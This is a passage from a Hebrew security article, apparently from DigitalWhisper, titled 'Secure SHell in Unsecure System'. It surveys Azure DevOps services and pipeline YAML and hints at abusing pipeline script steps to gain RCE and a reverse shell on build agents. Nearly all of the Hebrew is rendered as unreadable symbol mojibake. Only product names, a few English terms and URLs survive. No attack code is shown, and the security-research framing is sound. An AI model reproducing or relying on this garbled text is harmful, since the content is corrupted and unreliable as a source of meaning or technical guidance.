¶ ˢ˥˦˟˞ π ˶˷˲˞ˬ ˸ˣ˧ˮ˧ˡˬ ˸ˣˬ˧˞˸ ˸˧˦ˬˣ˦ˣ˞ Σ˪˪ˣ˩ ˸ˣ˶˵˟ ˸ˣ˵˧ˣˡˬ ˸ˣ˵˧ˮ˩˦ˣ ˪ˣˢ˧ˮ ˢ˶ˣ˴˸ ˸ˣ˪ˣ˩˧ 

˟˵˰ˬ˪ ˶ˣ˦˧ˮˣ ˶˥˞ ˧˩˧˪ˢ˸ ˡˣ˵ ˸˰˧ˮˬˣ ˸ˣ˧˰˟ ˢ˥˦˟˞ ˸ˣˮˣ˷Φ 
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ˤ˞ ˢˬ ˷˧ ˣˮ˪ ˢ˲Κ 

˸˧˷˞˶ Σ˪ ˢ˴˶ˮ˶˧˟˯ˢ ˢ˶˴˵˟ ˪˰ ˴˧˲ˢϥ˫˧˶ ˫˧˸ˣ˶˧˷ˢˣ ˫˧˧ˤ˩˶ˬˢ ˷πAzure DevOps ˢ˰˧˴ˬ ˣˮ˪ 

˫˧˷ˬ˸˷ˬ˩ ˢˬ˶ˣ˲˦˪˲˟ ˶˥˞˪ˣ ˭˩ˬ ˪ ˢ˴˶ˮ˸ˣ˞˶ˢ ˡ˴˧˩ Σ˶ˣ˸˟ ˫˧˲˵ˣ˸ Σˣˮ˥ˮ˞ ˫˧˪ˣ˩˧ ˪˴ˮ˪ ˸˞ ˫˵˪˥ Φ 

Azure Boards  

Azure Boards ˠˢˮ˸ˬ ˣˬ˩ ˥ˣ˪ ˢˮ˷ ˪˟˞ ˢ˶ˣ˴˟ ˸˶ˠˣ˟ ˶˸ˣ˧ Φ˞ˣˢ ˪˰ˣ˲ ˢ˶ˣ˴˸˟ ˪˷ ˫˧˩˧˪ˢ˸ 

˶˷˲˞ˬˣ ˸ˣˣ˴˪ ˥ˣ˸˧˲ˢ ˸ˣ˞˶˪ ˸˞ ˵˷ˬˬˢ ˫˪ˣˬ˷ ˢˬ˞˸ˢ˟ ˸˧˷˧˞ ˪ˣˢ˧ˮ˪ ˫˧˩˧˪ˢ˸ ˸ˣ˰˴ˬ˞˟ 

˸ˣ˥ˣ˪ ˢˡˣ˟˰ ˫˧ˮˣ˷ ,˸ˬˠˣˡ˩ Kanban ύˠ˧˴ˬˢ ˸ˣˬˡ˵˸ˢ ˪˩ ˨˧˪ˢ˸ ˦˵˧ˣ˶˲˟ Σˢˮˣˬ˸ ˢ˦ˬ˪ Φό˸ˣ˶˷˲˞ 

˸ˠˣ˴˸˟ ˭ˬˣ˧ ˫˧˪˩ˣ ˫˧˲˯ˣˮ ˪ˣˢ˧ˮ˪ ˢ˶˵˟ˣ Φ˱˯ˣˮ˟ ΣπsAzure Boards ˵˲˯ˬ ˢˬ˶ˣ˲˦˪˲ ˸˥˧˸˲˪ ˫˧ˠ˞˟ Σ

˸ˣˬ˧˷ˬ ˸ˣ˷˵˟ˣ ˥ˣ˸˧˲ ˫˸˶ˤ˰˟˷ ˭˸˧ˮ ˭˧˧˲˞˪ ˸˞ ˦˵˧ˣ˶˲ˢ ˭˟ˣˬ˩ˣ ˪ˢˮ˪ ˶˵˟˪ˣ ˸˞ ˸ˣˬˡ˵˸ˢ ˸ˣˣ˴ 

˥ˣ˸˧˲ˢ Φˢ˶ˣ˴˟ ˢˬˣˡ ˥ˣ˪˪ ˷˧˷ ˟πJira x˞ ˟πGitlab ˧ˬ˪ ˞˴˧˷ ˸ˣ˞˶˪ Φ ˭˸˧ˮ ˰˴˟˪ ˣ˸ˣ˰˴ˬ˞˟ ˸˞ ˸ˣ˪ˣ˰˲ˢ 

˸ˣ˞˟ˢΥ 

¶ ˢ˲˯ˣˢ ˫˧ˮˣ˩ˡ˰ˣ ˪˷ ˸ˣˬ˧˷ˬ  

¶ ˸˶ˡˠˢ ˸ˣ˸˪˧˞˷ ˶ˣ˟˰ ˸ˣ˪ˣ˰˲ ˸˶˧˴˧ˣ ˧ˬ˧˷˶˸ ˯ˣ˦˦˯ ύ˥ˣˮ ˫˧˴ˣ˴˧˲όΗ 

¶ ˪ˣˢ˧ˮ Backlog ˪˷ ˨˧˪ˢ˸ˢ x˞ ˢ˧˴˵˧˪˲˞ˢ 

¶ ˭ˣˮ˩˸ ˫˧˦ˮ˧˶˲˯ ˯˯ˣ˟ˬ ˸ˣˬ˧˷ˬ  

¶ ˵˷ˬˬ ˸˶˧˵˯˪ ˸ˣˬ˧˷ˬˢ sxπSpirints 

¶ ˠ˧˴ˢ˪ ˧˲˴ ˸ˣˬˡ˵˸ˢ ˧˪˞˧˶ ˪πPM ˶˷˞˩ ˞ˣˢ ˰˟ˣ˵ ˧ˡ˰˧ ˥ˣ˸˧˲ ˞˪ ˫˧˧ˮˣ˧ˠˢ  

ˣ˞˶˸ ˢˤ˧˞ ˧˲ˣ˧Υ  

 

  

https://www.atlassian.com/software/jira/features/scrum-boards#:~:text=The%20scrum%20framework%20enables%20software,and%20promotes%20iterative%2C%20incremental%20delivery.
https://docs.gitlab.com/ee/user/project/issue_board.html#:~:text=The%20issue%20board%20is%20a,a%20feature%20or%20product%20release.&text=Issue%20boards%20help%20you%20to,list%20for%20your%20existing%20issues.
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Azure Repos  

˫˧˶˧˩ˬ Git Κ˧˲ˣ˧ ΣAzure Repos ˞ˣˢ ˸ˣ˥˲ x˞ ˶˸ˣ˧ ˢˤ π ˧˪˩ ˶˷˲˞ˬˢ ˢ˶˵˟ Σ˪ˣˢ˧ˮ ˟˵˰ˬˣ ˶˥˞ ˡˣ˵ 

˦˵˧ˣ˶˲ˢ ˪˰ ˧ˮ˲ ˣ˧˸ˣ˞˯˶ˠ ˸ˣˮˣ˷ˢ Φˢˤ ˸ˣ˥˲ x˞ ˶˸ˣ˧ ˡ˥˞ ˫˧˪˩ˢ ˫˧˧ˮˣ˧˥ˢ ˪˩˟ ˢˬ˶ˣ˲˦˪˲ˢ ˭ˣˣ˧˩ˬ 

˞ˣˢ˷ ˶˷˲˞ˬ ˱ˣ˸˧˷ ˢ˪ˣ˰˲ ˭˧˟ ˧˸ˣˣ˴ ˥ˣ˸˧˲ˢΦ ˪ˣˢ˧ˮ ˸ˣ˞˯˶ˠˢ ˶˷˲˞ˬ ˰˴˟˪ ˟˵˰ˬ ˶˥˞ ˫˧˧ˣˮ˧˷ Σ˪ˢˮ˪ 

˸ˣ˟˧˟˯ ˡˣ˵ ˸ˣˮˣ˷ ύdev, deployment ˣ˩ˣ όϥ˱˞ˣ ˶ˤ˥˷˪ ˡˣ˵ ˶˟˰˷ ˧ˣˮ˧˷ ύgit blame π ˧˩ ˪˩˟ ˫ˣ˵ˬ ˢ˧ˢ˧ ˸˞ 

˶ˣ˥˟ˢ ˪˧˲˧˷ ˸˞ ˭˷˵ˡˣ˶˲ˢ ˧˷˧ˬ˥˟ ˟˶˰˟ Φό˭˸˧ˮ ˰˴˟˪ ˷ˣˬ˧˷ ˟πRepos ˪˷ Git ˧ˡ˩ ˪ˢˮ˪ ˸˞ ˸ˣ˷˵˟ 

ˢ˩˧˷ˬˢ ˪ˣˢ˧ˮˣ ˫˧˴˟˵ˢΦ 

 Azure Repos ˨ˬˣ˸ ˧ˮ˷˟ Source Control ˭ˣ˷˞˶ˢ Git ˧ˮ˷ˢˣ TFVC ύTeam Foundation Version 

ControlΦό ˭˸˧ˮ ˰˴˟˪ ˭ˣˣˠˬ ˸ˣ˪ˣ˰˲ ˫˸˶ˤ˰˟Υ 

¶ ˟˵˰ˬ ˶˥˞ ˫˧˧ˣˮ˧˷ ˶ˣˤ˥˷ˣ ˡˣ˵ 

¶ ˰ˣ˴˧˟ push ˪ˣˢ˧ˮˣ ˫˧˧ˣˮ˧˷ ˢ˶ˣ˴˟ ˸˶ˡˣ˯ˬ  

¶ ˧˶˵˯ ˡˣ˵ Σ˸˵˧ˡ˟ ˶ˣ˷˧˞ˣ ˡˣ˵ ˷ˡ˥ π pull requests 

¶ ˸˶ˣ˷ ˷ˣ˲˧˥ ˸˧˟˧˦˵˞˶˦ˮ˧˞ ˡ˥ˣ˧ˬ˟ π ˧˲˪ ˫˷ ˳˟ˣ˵ Σ˸˪˧ˬ ˷ˣ˲˧˥ ˸˧˲˧˴˲˯ ˣ˩ˣϥ 

¶ ˸ˡ˶ˣˢ ˡˣ˵ ˟˷˥ˬ˪ ˧˪˞˵ˣ˪ ˸˩˧˶˰ˣ ˫˧˴˟˵ 

Azure Pipelines  

ˡ˰ ˢ˩ Σ˞˪ ˸ˣ˪ˣ˩˧ ˸ˣ˞˴ˣ˧ ˭˲ˣˡ ˡ˥ˣ˧ˬ˟ ˣˮ˥ˮ˞ ˫˧ˬ˧˩˯ˬ Φ˫ˠ GitLab1 ˸˰ˡˣ˧ ˵˲˯˪ ˢ˶ˣ˴˟ ˢ˲˧ ˢ˟ˣ˦ˣ 

ˡˣ˞ˬ ˵˷ˬˬ GUI ˪ˣˢ˧ˮ˪ ˡˣ˵ ˸ˣˬ˧˷ˬˣ Φ˫˞ ˨˩ Σˢ˲˧˞ Azure ˸ˮ˧˧˦˴ˬ Κˢ˟ˣ˷˸ˢ π ˸˟˧˟˯ sπpipelines 

ˢ˧˴˶ˠ˦ˮ˧˞ˢˣ ˫˰ ˭ˮ˰ˢ Φ˸˶˦ˬ sπAzure Pipeline ˞˧ˢ ˢ˧ˮ˟ Σˢ˵˧ˡ˟ ˢ˯˧˶˲ˣ ˸ˣ˰˴ˬ˞˟ ˟ˣ˪˧˷ ˫˧˩˧˪ˢ˸ 

˫˧˯˯ˣ˟ˬˢ CI/CD ˢˡˣ˟˰˟ ˫˰ ˪˩ ˢ˲˷ Σˢˬ˶ˣ˲˦˪˲ ˭ˮ˰ˣΦ  

˸˶ˤ˰˟ ˸˰ˬ˦ˢ CI ˪˩ˣˮ ˯ˣ˲˸˪ ˫˧ˠ˞˟ ˟˪˷˟ ˫ˡ˵ˣˬ ˪˷ ˥ˣ˸˧˲ˢ Τ˨˧˪ˢ˸˟ CD ˡˣ˵ ˢˮ˟ˮ ˸˟˧˟˯˪ ˢ˵˧ˡ˟ˢ 

ˢˣπProduction Φ˭˩˪ˣ Σ˸ˣ˰˴ˬ˞˟ Azure Pipeline ˭˸˧ˮ ˸ˣˮ˟˪ ˵ˣˡ˟˪ˣ ˸˧˦ˬˣ˦ˣ˞ ˸˞ ˡˣ˵ˢ Σ˷˧ˠˮˢ˪ˣ ˣ˸ˣ˞ 

˫˧˸ˣˣ˴˪ ˫˧˶˥˞ ˭ˣˠ˶˞˟Φ 

Pipeline ˞ˣˢ ˢ˷˰ˬ˪ ˨˧˪ˢ˸ ύ˧˦ˬˣ˦ˣ˞ ˟ˣ˶˪ ˨˞ ˞˪ ˥˶˩ˢ˟ ό˫˧˴˵ˬ˷ x˪ ˫˧˟˞˷ˬ ˫˧˰ˣˡ˧ ˷˞˶ˬ ˫˧˶˧ˡˠˬˣ 

ˣ˪ ˦˯ ˪˷ ˸ˣˬ˧˷ˬ ˸ˣ˶ˡˠˣˬ ˟˦˧ˢ Φ˪˰ ˸ˮˬ ˶˧ˡˠˢ˪ ˸˞ ˫˧˩˧˪ˢ˸ˢ ˷˶ˡˮ ˷ˬ˸˷ˢ˪ ˫˧˸ˣ˶˧˷˟ ˫˧˞˟ˢ ˷π

Azure ˢ˰˧˴ˬΥ 

¶ Azure Logic Apps π ˢˬ˶ˣ˲˦˪˲ ˸˯˯ˣ˟ˬ ˭ˮ˰ ˸˶˧˴˧˪ ˸˴˧˶˪ˣ ˧˩˧˪ˢ˸ ˢˡˣ˟˰ ˫˧˵˷ˬˬ˸ˬˢ ˢ˧˴˵˧˪˲˞˪ Σ

˰ˡ˧ˬ˪ Σ˫˧˸ˣ˶˧˷˪ ˢˮ˩ˣ˸˪ˣΦ 

  

                                                           
 

1
  ˣ˲ˣ˶˲˞GitLab ˸˴˶ˢ˪ ˵˷ˬˬ ˣ˥˸˲ ˫ˠ ˫ˢ ,pipelines  ˭ˮ˰ ˧˩˧˪ˢ˸ ˫˰ ˸ˣ˵˷ˬˬ˸ˢˣ- GitLab DevOps.ˣ˪˧˟˵ˬ˪ ˯˥˧˟ ˣ˧˰ˣ˴˧˟ ˪˰ ˣˡ˧˰˧ ˫˧ˬ˧ . 

https://about.gitlab.com/
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¶ Azure Pipelines - ˢ˧ˮ˟ ,ˢ˵˧ˡ˟ ˢ˯˧˶˲ˣ ˸ˣ˰˴ˬ˞˟ ˟ˣ˪˧˷ ˫˧˩˧˪ˢ˸ ˫˧˯˯ˣ˟ˬˢ CI/CD ˢˡˣ˟˰˟ ˫˰ 

˪˩ ˢ˲˷ ,ˢˬ˶ˣ˲˦˪˲ ˭ˮ˰ˣ. 

¶  Azure DevOps REST APIs- ˵˷ˬˬ ˯˯ˣ˟ˬ ˸ˣˡˣ˵˲ ˸ˣ˧˦ˬˣ˦ˣ˞ ˬ-Azure Pipelines ˵˷ˬˬ˪ s-Repos 

)˫˧˶˩ˣˤ ˢˬ ˪˰ ˢˬ ˣˮ˶ˬ˞ ˞ˣˢ˷ ˧˞˶˥˞(? ˸˶ˤ˰˟ Logic Apps. 

ˢ˧˧ˮ˟ ˢ˟ˣ˦ ˪˷ pipelines ˶˷˲˞˸ ˣˮ˪ ˨ˣ˯˥˪ ˭ˬˤ ˢ˶ˣ˴˟ ˸˧˸ˣ˰ˬ˷ˬ ˟˵˰ ˢ˧˴ˬˣ˦ˣ˞ˢ ˪˷ ˸ˣ˪ˣ˰˲ ˸ˣ˧˯˧˯˟ 

ύx˞ ˸ˣ˥˲ ˸ˣ˧˯˧˯˟ ό˸ˣ˶ˤˣ˥˷ ˪˰ ˭ˬ˴˰ ˶˷˲˞˸ˣ ˸ˣˣ˴˪ ˥ˣ˸˧˲ˢ ˸ˣˡ˵ˬ˸ˢ ˥ˣ˸˧˲˟ ˡˣ˵ ύ˸ˣ˥˲ˣ ˟πϦˣˢ˷˧ˬ 

˶˩ˣˤ ˢˬ ˨˧˶˴ ˸ˣ˷˰˪ ˪˧˟˷˟ ˫˧˶ˢ˪ ˸˞ sπService ˪˲ˮ˷Ϧ ΣϦΚˣˡ˧ˠ˸ ˫ˠ ˫˩˪ sπAPI ˪πDB ˞˪ ˡ˟ˣ˰ ΣϦΚ

Ϧ˱˱˱ˣ˞ ˢˬ˪ ˧˞ ˶˷˲˞ ˰˴˟˪ merge ˫ˣ˵ˬ˟ ˢˢˢˤˢ ΦόϦˣˬ˩ ˭˩ Σˢˡ˟ˣ˰ˢ ˶˷˲˞˷ ˪˲˩˷˪ pipelines ˫˧ˮˣ˷ 

ˢ˪˵ˬ ˸˧˸ˣ˰ˬ˷ˬ ˪˰ ˫˧˧˥ˢ ˪˷ ˧˷ˮ˞ ˸ˣ˧˸˷˸ˢ sxπdevops Φ 

˪˷ˬ˪ Σ˪˰ ˸ˮˬ ˨ˣ˯˥˪ ˭ˬˤ xξx˞ ˨ˣˬ˸˪ ˥ˣ˸˧˲˟ ˥˦˟ˣ˞ˬ ˭˸˧ˮ ˥˸˲˪ ˨˧˪ˢ˸ ˢ˧˴ˬˣ˦ˣ˞ ˪˰πBuild multiple  

branchesύ˧˲˩ ˢ˞˶ˮ˷ ˨˷ˬˢ˟ ό˷ˬ˸˷ˢ˪ˣ ˟πJenkins ˷ˣˬ˧ˬ˪ ˢ˧˴ˬˣ˦ˣ˞ ˪˷ CI/CDΦ 

 

]˶ˣ˵ˬ π Microsoft Azure Pipelinesώ 

˟ˣ˦ Σˣ˞ˣ˟ ˪˩˸˯ˮ ˪˰ pipeline ˢˬˠˣˡ˪ ˧ˡ˩ ˭˧˟ˢ˪ ˨˧˞ ˭ˣ˧˰˶ˢ ˡ˟ˣ˰Φ 

˫˪ˣ˩ ˫˧˟ˢˣ˞ ˪˧˥˸ˢ˪ ˫˰ ˢ˪˧ˮˣ ă ˶˥˟ˮ ˟πϦStarter pipeline Ϧπ ˳˟ˣ˵ ˦ˬ˶ˣ˲˟ YAML ˫˰ ˸ˣ˶ˡˠˢ 

˸ˣ˧˯˧˯˟ ˡ˟˪˟Υ 

 

  

https://www.jenkins.io/
https://docs.microsoft.com/en-us/azure/devops/pipelines/get-started/pipelines-get-started?view=azure-devops
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ˢˬ ˫˴˰˟ ˣˮ˥ˮ˞ ˫˧˞ˣ˶ ˭˞˩Κ 

trigger ˭˧˧˲˞ˬ ˧˸ˬ sπpipeline ˳˶ Φˢ˶ˣ˴˸˟ ˸˧˟˧˦˪ˣ˲˧ˡˢ ˣˤˢ Σ˪˩˟ ˫˰˲ ˸˰˴˟˸ˬ˷ ˢ˟˧˸˩ ύ˸ˣ˰˴ˬ˞˟ 

commits x˞ merges ό˪˞ sπRepo ˪˷ sπmaster Φˣˬ˩ ˭˩ Σ˸˧˟˧˦˪ˣ˲˧ˡ Σ˫ˠ ˸˰˟ ˢ˶˧ˬ˷ ˪˷ sπpipeline ˞ˣˢ 

˭ˮ˩ˣ˸ˬ ˳ˣ˶˪ ˫˰˲ ˸˥˞ Φ 

˫˰ ˸˞ˤ Σ˪˧˟˷˟ ˸ˣˮ˟˪ ˸˞ ˡˣ˵ˢ x˞ ˰˴˟˪ deployment ˪πsolution ˸ˣ˰˴ˬ˞˟ sπpipeline ˣˮ˞ ˫˧˟˧˧˥ agent 

ύ˭˩ˣ˯ Σ˸˧˶˟˰˟ ˢ˥˴ Φό˫˧ˮ˩ˣ˯ ˫˧˰˴˟ˬ ˸˞ ˪˪˩ ˸ˣ˪ˣ˰˲ ˫˧˵˲˯ˬˣ ˸˞ ˫˧˟˞˷ˬˢ ˫˧˷˶ˡˮˢ ˪˧˟˷˟ ˳˧˶ˢ˪ 

ˢˬ˧˷ˬ ˸˥˞ ˪˩˟ ˫˰˲ Φ˶ˬˣ˪˩ Σˢˡ˧ˬ˟ ˞˪ˣ ˢ˧ˢ˧ agent ˧ˣˮ˲ Σ˞˪ ˪˩ˣˮ ˰˴˟˪ ˸ˣˬ˧˷ˬ Φ˪˧˟˷˟ ˨˩ ˸ˬ˧˧˵ pool Σ

ϥˢ˩˧˶˟ ϥ˪˷ ˫˧ˮ˩ˣ˯ ˪˩ˣˮ˷ ˶ˣ˥˟˪ ˢˮˬˬ ˭˩ˣ˯ ˰˴˟˧˷ ˸˞ ˢˡˣ˟˰ˢ Φ 

˶˥˞˪ ˭˩ˬ Σˢˡ˷  steps ˶˧ˡˠˬ ˸˞ ˫˧˦˲˧˶˵˯ˢ ˣ˴˶˧˷ ˶ˡ˯˟ ˧ˠˣ˪ˣˮˣ˶˩Φscript  ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˢ˶ˣ˷˟ ˸˥˞ x˞ 

ˢˬ˩ ˸ˣ˶ˣ˷ ˸ˣ˰˴ˬ˞˟ ˣ˸ˢ ϥ|ϥ ˦ˬ˶ˣ˲˟˷ YAML ˪ˬ˯ˬ multiline string ˨˩˟ˣ ˰ˮˣˬ ˶ˣˡˮ˧˶ ˞˪ ˭ˣ˩ˮ ˪˷ ˢ˶ˣ˷ 

ˢ˷ˡ˥ ˡ˰ ˦˧˶˲ˢ ˞˟ˢ Φ˪˩˪ ˸˴˧˶ ˦˲˧˶˵˯ ˫˧˵˲˯ˬ displayName  ˪˧˟˷˟ ˢ˧ˢ˧˷ ˭˸˧ˮ ˟ˣ˵˰˪ ˣ˧˶˥˞ 

˨˧˪ˢ˸˟ sπbuildΦ 

˭˸˧ˮ ˸ˣ˞˶˪ ˧˩ ˫˧˴˶ н ˫˧˦˲˧˶˵˯ π ˭ˣ˷˞˶ˢ ˢ˶ˣ˷˟ мн ˧ˮ˷ˢˣ ˸ˣ˶ˣ˷˟ мс-мт ˸ˣˬ˷˟ ϥRun a one line 

script ϥπxϥRun a multi-line script ϥˢˬ˞˸ˢ˟ Φ˳˧˶ˮ ˸˞ sπpipeline ˧˟˧˦˪ˣ˲˧ˡˢ ˞˪˪ ˧ˣˮ˧˷ ˪˩˸˯ˮˣ ˨˧˪ˢ˸˟ 

πsbuild ˶˴ˣˮ˷Υ 

 

˶˷˞˩ ˭˸˧ˮ ˭ˣ˥˟˪ ˥˸ˮ˪ˣ ˪˩ ˟˪˷ ˨˧˪ˢ˸ˬ sπbuild ύ˧˷ˣˬ˧˷ ˫˞ ˫˸˞ ˫˧˞˴ˣˬ ˸˞ ˫˩ˬ˴˰ ˫˧˪˩ˣ˞ ˸˞ ˷˞˶ˢ 

˪˰ debugging Φό 



 
 

Secure SHell in Unsecure System 
www.DigitalWhisper.co.il 

 ˭ˣ˧˪ˠмос, ˶˞ˣ˶˟˲ нлнн  ос 
 

˶˥˟ˮ ˠ˧˴ˢ˪ ˸˞ ˦˪˲ˢ ˪˷ ˟˪˷ ϥrun a multi-line script ϥˢˬˠˣˡ˩Υ 

 

˶ˬˣ˪˩ Σˢˤ ˷ˬˬ ˡˣ˵ˢ ˳˶˷ ˪˰ ˸˶˷ˢΦ  

˨˷ˬˢ˟ ˶ˬ˞ˬˢ ˫˧˷ˮ ˸˞ ˰˟ˣ˩ ˫˧˲˵ˣ˸ˢ ˢ˞˶ˮˣ ˡ˴˧˩ ˭˸˧ˮ ˪˴ˮ˪ ˷ˬ˸˷ˬ ˪˰˟ ˸ˣ˞˷˶ˢ ˸˧˧ˮ˟ pipelines 

˪˧˟˷˟ ˯ˡˮˢ˪ pipelines ˫˧ˮˣ˷ ˪˰ ˸ˮˬ ˠ˧˷ˢ˪ RCE ˦˶˲˟ˣ reverse shell ˪˰ ˸˶˷ˢΦ 

 

Azure Test Plans 

Azure Test Plans ˧˩ ˫ˠ ˫˧˵ˡˣ˟ˢ ˞˪ ˣ˶˞˷ˮ ˫˧˧ˡ˧˟ ˸ˣ˵˧˶ Φˢˬ˶ˣ˲˦˪˲ˢ ˸˵˲˯ˬ ˸ˣˮˣ˶˸˲ ˧˸ˣˣ˴˪ 

˸ˣ˵˧ˡ˟ˢ ˸˶˷˲˞ˬˢ ˪ˣˢ˧ˮ ˸ˣ˵˧ˡ˟ Σˢ˩˶˰ˢ ˟˵˰ˬˣ ˶˥˞ ˸ˣ˩˧˞ ˡˣ˵ˢ ˸˶ˤ˰˟ ˭ˣ˶˸˲ ˪ˣˢ˧ˮ ˸ˣ˵˧ˡ˟ ˯˯ˣ˟ˬ 

˭˲ˡ˲ˡ ˵˲˯ˬˢ ˸˞ ˸ˣ˪ˣ˩˧ˢ ˸ˣ˷˶ˡˮˢ ˸ˣ˵˧ˡ˟˪ ˸ˣ˧ˮˡ˧ Σ˸ˣ˵˧ˡ˟ ˦˪˵ ˸ˣ˵˧ˡ˟ˣ ˸ˣ˲˯ˣˮ Φ 

˭˸˧ˮ ˱˧˯ˣˢ˪ Σ˵ˣ˥ˬ˪ ˭˩ˡ˰˪ˣ ˸˞ ˧˷˧˥˶˸ ˢ˵˧ˡ˟ˢ ˵˷ˬˬ˟ ˫˰ sπKanban board ˪˷ sπAzure BoardsΦ 
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Azure Artifacts  

ˢˬ˶ˣ˲˦˪˲ˢ ˢ˷˧ˠˮˬ ˸˩˶˰ˬ ˪ˣˢ˧ˮ˪ packages Σ˸˶˷˲˞ˬˢ ˱ˣ˸˧˷ Σ˪ˣˢ˧ˮ ˢ˶˧˴˧ˣ ˪˷ ˸ˣ˪˧˟˥ ˭ˣˠ˩ 

Maven ,NPM x˞ Nuget Φˣˡˣ˸ ˢˤ˟ x˞ ˞˪ ˪˟˞ ˪ˣˢ˧ˮ packages ˫˧ˬ˰˲˪ ˢˤ ˶ˡ˵ ˧ˮ˧˴˶ π Dependency   Hell 

 ˞ˣˢ ˵˶ ˷˧˥˶˸ ˡ˥˞ ˫˧˶˟ˣ˰˷ ˶ˡ˟Ϧ˩ ˫˧ˡ˟ˣ˰˷˩ ˫˰ ˢ˟˶ˢ ˸ˣ˪˧˟˥ Φ˭˩˪ Σˢ˶˴ˣˮ ˢˬ˶ˣ˲˦˪˲ˢ ˮˢϦ˪ ˪˧˟˷˟Υ 

¶ ˱ˣ˸˧˷ ˡˣ˵ ˢ˶ˣ˴˟ ˢ˪˧˰˧ ύ˞˪ˣ ˶ˤ˥ˬ˪ ˸˞ ˣ˸ˣ˞ ˳˟ˣ˵ ˭ˣ˧˪˧ˬ ˫˧ˬ˰˲  ό 

¶ ˪ˣˢ˧ˮ ˪˩ sπPackages ˫ˣ˵ˬ˟ ˡ˥˞ 

¶ ˸˲˯ˣˢ Packages ˪πpipeline ˢ˶ˣ˴˟ ˸˧˪˶ˠ˦ˮ˧˞ 

 

Extensions Marketplace 

Extension ˭s ˸ˣ˧˶˲˯ ˡ˴ ˧˷˧˪˷ ˸ˣ˲˧˯ˣˬ˷ ˸ˣ˧˪ˮˣ˧˴˵ˮˣ˲ ˸˩˶˰ˬ˪ Φ˵˪˥˩ ˧˸˪˟ ˡ˶˲ˮ ˬπAzure DevOps ˭˸˧ˮ 

˱˧˯ˣˢ˪ ˫˧˲˯ˣ˸ ˫˧˧˷ˣˬ˧˷ ˸˶ˤ˰˟ sπVisual Studio Marketplace ˸˶ˤ˰˟ˣ ˸ˣˮ˥ ˫˧˲˯ˣ˸ˢ ˶˸˞˟ Φ˪˟˞ Σ˷˧ 

˶ˣ˩ˤ˪ ˪˩˩˷ ˱˧˯ˣˮˣ ˶˸ˣ˧ Extensions ˨˩ ˫ˠ ˥˦˷ˬ ˸ˣ˧ˣ˰˦ˢ ˫˧˩ˣ˟˧˯ˢˣ ˪ˡˠ˧ ύˣ˸˧˞ˣ ˫ˠ ˥˦˷ˬ ˢ˲˧˵˸ˢ   Φό 

 

 

 

 

 

https://about.sourcegraph.com/blog/nine-circles-of-dependency-hell/
https://about.sourcegraph.com/blog/nine-circles-of-dependency-hell/
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ˢˬˠˣˡ ˬπ˞ ϥˡ˰ ˸ϥ 

ˣˮ˶˩ˢ ˞˪ ˦˰ˬ ˫˧˪˩ ˷πAzure DevOps ˢ˰˧˴ˬ Σ˪˟˞ ˢˬ ˶˷˲˞ ˸ˣ˷˰˪ ˫˸˧˞ Κˡ˴˧˩ ˪˩ˢ ˭ˠˮˬ ˡ˥˧˟Κ 

˫˧˥ˬ˷ ˫˸˪˞˷˷ Σˠ˧˴ˮ ˸˰˩ ˢˬˠˣˡ ˸˶˞˸ˬˢ ˦˟ˬˬ ˧˪˰ ˸˞ ˪˩ ˨˧˪ˢ˸ ˪ˣˢ˧ˮ ˡˣ˵ˢ ˢ˴˵ˬ ˢ˴˵˪ Φ 

ˢˬ˶ˠ˞˧ˡ ˸˧˵ˮ˰ ˢ˞˶ˬ˷ ˨˧˪ˢ˸ ˞˪ˬΥ 

 

]˶ˣ˵ˬπ multistage DevOps pipelines with Azure PipelinesAutomate ώ 

˶˷˞˩ ˸ˣˣ˴ ˥ˣ˸˧˲ ˧˦˶ˡˮ˦˯ ˷˶ˡˮ ˫˧˵ˢ˪ ˸˟˧˟˯ ˢˡˣ˟˰ ˭ˮ˰˟ ˸˞˪˰ˢ˪ ˡˣ˵ ˪ˣˢ˧ˮˣ ˸ˣ˞˯˶ˠ ˞ˣˢ ˪˵˸ˮ ˞˪˟ 

˦˰ˬ ˫˧˶ˠ˸˞ Φ˨˧˪ˢ˸ˢ ˟˩˶ˣˬ ˪˧˩ˬˣ ˶˲˯ˬ ˟˶ ˪˷ ˫˧˸ˣ˶˧˷ ˷˶ˡˮ˷ ˶˧ˡˠˢ˪ Σ˦ˣ˪˷˪ ˪ˢˮ˪ˣ ˸ˣ˰˴ˬ˞˟ ˭ˮ˰ˢ Φ

˨˞ ˢˮ˷˧ ˨˶ˡ ˸ˣ˷˰˪ ˪˩ˢ ˢ˶ˣ˴˟ ˸˧˦ˬˣ˦ˣ˞ Σˢ˶˧ˢˬ ˸˧˪˧˟˪˵˯ˣ π ˸ˣ˰˴ˬ˞˟ CI/CD Pipelines Φ 

˶˞˸ˮ ˸˞ ˢˬ ˶˞ˣ˸ˬ˷ ˫˧˷˶˸˟Υ 

˟˪˷ м Υ˭˸˧ˮ˩ˣ˸ ˡ˟ˣ˰ ˟˷˥ˬˢˬ ˧˪˞˵ˣ˪ˢ ˣ˪˷ ύ˪ˣ˩˧ ˸ˣ˧ˢ˪ ˟˷˥ˬ ˧ˤ˧˲ x˞ PaaS ˪˷ ˸˧˵˲˯ ˭ˮ˰ ό˟˸ˣ˩ˣ ˸˞ 

˦˵˧ˣ˶˲ˢ ˸˟˧˟˯˟ Visual studio π  ˢˬˠˣˡ˪ ˸˧˧˴˵˧˪˲˞ full-stack ˸˯˯ˣ˟ˬ Node.js ˡ˴˟ ˸˶˷ xπReact ˡ˴˟ 

˥ˣ˵˪ ύ˶˸ˣ˧ нлнн ˢˤˬ ˞˪ ˪ˣ˩˧ ˸ˣ˧ˢ˪Φό 

https://docs.microsoft.com/en-us/azure/architecture/example-scenario/devops/automate-azure-pipelines
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˟˪˷ нΥ sπrepository ˪˧˩ˬ ˳˟ˣ˵ YAML Pipeline ˶˧ˡˠˬˢ ˡ˴˧˩ ˡˣ˵ˢ ˨˧˶˴ ˸ˣˮ˟˧ˢ˪ ˸ˣ˪˰˪ˣ ˪˞ ˸˟˧˟˯ 

Azure Repos Φ˧˶˵ Σˡ˴˧˩ ˷˧ ˰˴˟˪ ˸ˣ˪ˣ˰˲ mergesΦ 

˟˪˷ о-рΥ ˰ˠ˶˟ ˥˸˲ˬˢ˷ ˥˪˷ Git Push ˪πAzure DevOps Repo ˥˪˷ˮ Webhook  ύ˶ˠ˧˶˦ ˯˯ˣ˟ˬ ˢ˪ˣ˰˲ 

